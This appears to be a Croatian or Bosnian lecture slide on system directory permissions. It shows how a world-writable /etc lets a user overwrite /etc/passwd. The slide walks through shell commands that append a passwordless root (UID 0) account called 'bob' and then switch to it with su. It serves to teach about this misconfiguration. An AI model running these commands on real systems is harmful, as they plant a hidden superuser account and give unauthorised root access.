Dozvole na sistemskim direktorijima (2)

primjer modificiranja /etc/passwd ako je /etc dozvoljen za pisanje

$ ls -ld / /etc

drwxr-xr-x 15 root 1024 Sep 23 10:16 /

drwxrwxrwx 5 root 7168 Sep 23 13:57 /etc

$ cd /etc

$ cp passwd temp

$ echo “bob::0:0:Superuser!:/:” >> temp

$ mv temp passwd

$su bob

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